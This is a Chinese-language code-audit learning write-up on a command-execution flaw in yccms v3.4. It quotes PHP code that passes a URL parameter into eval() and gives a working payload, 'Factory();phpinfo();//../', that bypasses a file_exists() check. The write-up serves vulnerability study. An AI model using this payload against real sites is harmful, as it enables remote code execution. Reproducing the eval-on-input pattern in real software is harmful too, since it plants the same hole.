yccms命令执行菜鸟审计学习记录
在先知社区中看到一位师傅的代码审计,正好也想学习,于是就有了这个记录。(大佬斧正)
CMS下载地址: http://ahdx.down.chinaz.com/202003/yccms_v3.4.rar
命令执行漏洞:
下载成功后拿到seay中自动审计一下。同时加到submlie中看看文件的目录结构。
可以看出是MVC架构的。从index.php中可以看到包含了run.inc.php跟进。
<?php
//开启session
session_start();
//超时时间
@set_time_limit(0);
//设置编码
header('Content-Type:text/html;charset=utf-8');
//错误级别,报告警告之外的所有错误
error_reporting(E_ALL ^ E_NOTICE);
//设置时区
date_default_timezone_set('PRC');
//网站绝对根路径
define('ROOT_PATH',str_replace('\\','/',substr(dirname(__FILE__),0,-7)));
//引入配置文件
require ROOT_PATH.'/config/config.inc.php';
//引入Smarty
require ROOT_PATH.'/public/smarty/Smarty.class.php';
//自动加载类
function __autoload($_className){
if(substr($_className,-6)=='Action'){
require ROOT_PATH.'/controller/'.ucfirst($_className).'.class.php';
}elseif(substr($_className, -5) == 'Model'){
require ROOT_PATH.'/model/'.ucfirst($_className).'.class.php';
}else{
require ROOT_PATH.'/public/class/'.ucfirst($_className).'.class.php';
}
}
//单入口
Factory::setAction()->run();
?>
代码前面主要进行初始化一些常量和配置,其中autoload函数作用是当你进行初始化类在本页面不存在时候就会自动调用autoload()函数,同时会把名字当做参数传输过去。最后执行到入口。调用Factory类的setAction()方法,并执行run()方法。
进入到Factory类中
class Factory{
static private $_obj=null;
static public function setAction(){
$_a=self::getA();
if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
if (!isset($_SESSION['admin'])) {
header('Location:'.'?a=login');
}
}
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
return self::$_obj;
}
static public function setModel() {
$_a = self::getA();
if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');
return self::$_obj;
}
static public function getA(){
if(isset($_GET['a']) && !empty($_GET['a'])){
return $_GET['a'];
}
return 'login';
}
}
可以看到先是调用了getA()方法获取传递的参数,然后通过in_array()判断变量值是否在数组中。如果在数组中则判断是否有session标记,否则跳转到登陆页面。
接着判断文件是否存在。然后通过eval()来实例化。亮点来了,看到eval()函数,就想到命令执行漏洞。那如果想要利用eval()函数那就要绕过file_exists()函数,这样才能让$_a可控。
而file_exists()函数中可以有一些特殊的字符例如:; . /等,而当file_exists()函数遇到…/时就会返回到上一级。而file_exists()函数有个小BUG当遇到;/…/时会返回上一级且不会再判断其后的路径或文件。
payload: Factory();phpinfo();//../
其中Factory();是为了闭合前面new字符,不然程序会报错,后面紧接着执行phpinfo();函数。
eval()函数在执行时其中有多个函数,则第一个必须执行正确,第一个以后也必须是函数,但是正确与否都可以执行。
eval('phpinfo();phpinfo();fdsfsdfds'.'asdasdsa();');//成功执行
eval('asdasdsa();phpinfo();fdsfsdfds'.'asdasdsa();');//执行失败
成功利用。
实验总结
本次实验主要掌握代码执行挖掘和利用方法。
参考文章:
https://blog.csdn.net/qq_43233085/article/details/105447576
https://xz.aliyun.com/t/7748
https://blog.csdn.net/qq_43233085/article/details/105447576